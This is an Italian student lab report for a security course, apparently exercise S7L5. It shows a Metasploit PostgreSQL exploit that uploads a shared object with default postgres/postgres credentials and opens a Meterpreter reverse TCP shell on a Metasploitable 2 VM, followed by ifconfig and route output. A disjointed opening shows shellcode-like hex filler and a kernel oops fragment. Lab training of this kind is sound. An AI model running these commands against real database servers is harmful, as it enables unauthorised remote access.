

```
i@kali)-[~]  
console  
oit tip: View missing module options with show missing  
  
to handle kernel NULL pointer dereference at virtual address 0xd34d  
00010046  
000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001  
3bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60  
8 es: 0018 ss: 0018  
Swapper (Pid: 0, process nr: 0, stackpage=80377000)  
  
90909090909090909090909090909090  
90909090909090909090909090909090  
90909090.90909090.90909090  
90909090.90909090.90909090  
90909090.90909090.09090900  
90909090.90909090.09090900  
.....  
cccccccccccccccccccccccccccccccc  
cccccccccccccccccccccccccccccccc  
cccccccccc.....  
cccccccccccccccccccccccccccccccc  
cccccccccccccccccccccccccccccccc  
.....cccccccccc  
cccccccccccccccccccccccccccccccc  
cccccccccccccccccccccccccccccccc  
.....  
ffffffffffffffffffffffffffffffff
```

S7L5

SARAH ORTIZ

ES. 2

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf6 exploit(linux/postgres/postgres_payload) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) > set USERNAME postgres
USERNAME => postgres
msf6 exploit(linux/postgres/postgres_payload) > set PASSWORD postgres
PASSWORD => postgres
msf6 exploit(linux/postgres/postgres_payload) > exploit

[-] Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.150
LHOST => 192.168.150
msf6 exploit(linux/postgres/postgres_payload) > exploit

[-] Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.150
LHOST => 192.168.1.150
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.1.150:4444
[*] 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC c
c (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/AKrIuDmt.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.149
```

```
[*] 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC c
c (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/AKrIuDMt.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.150:4444 → 192.168.1.149:33221) at 2
024-07-12 15:02:16 +0200
```

```
meterpreter > ifconfig
```

```
Interface 1
```

```
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 16436
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff::
```

```
Interface 2
```

```
Name : eth0
```

Per caricare l'exploit utilizziamo il comando:

"use exploit/linux/postgres/postgres_payload"

Configuriamo l'indirizzo IP della Metasploitable e KALI:

"set RHOSTS 192.168.1.149

set LHOST 192.168.1.150"

Selezioniamo un payload Unix per ottenere una sessione di Meterpreter:

"set PAYLOAD linux/x86/meterpreter/reverse_tcp"

Fornirniamo le credenziali di default di PostgreSQL:

"set USERNAME postgres

set PASSWORD postgres"

è un passaggio essenziale nel processo di esecuzione dell'exploit per il servizio PostgreSQL su Metasploitable 2. Questo garantisce che l'exploit possa autenticarsi con il database e portare a termine l'attacco con successo.

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
0.0.0.0	0.0.0.0	192.168.1.1	100	eth0
192.168.1.0	255.255.255.0	0.0.0.0	0	eth0

```
No IPv6 routes were found.
meterpreter > 
```

Il comando route mostrerà tutte le rotte configurate sulla macchina, incluse le destinazioni di rete, i gateway, e le interfacce di rete utilizzate.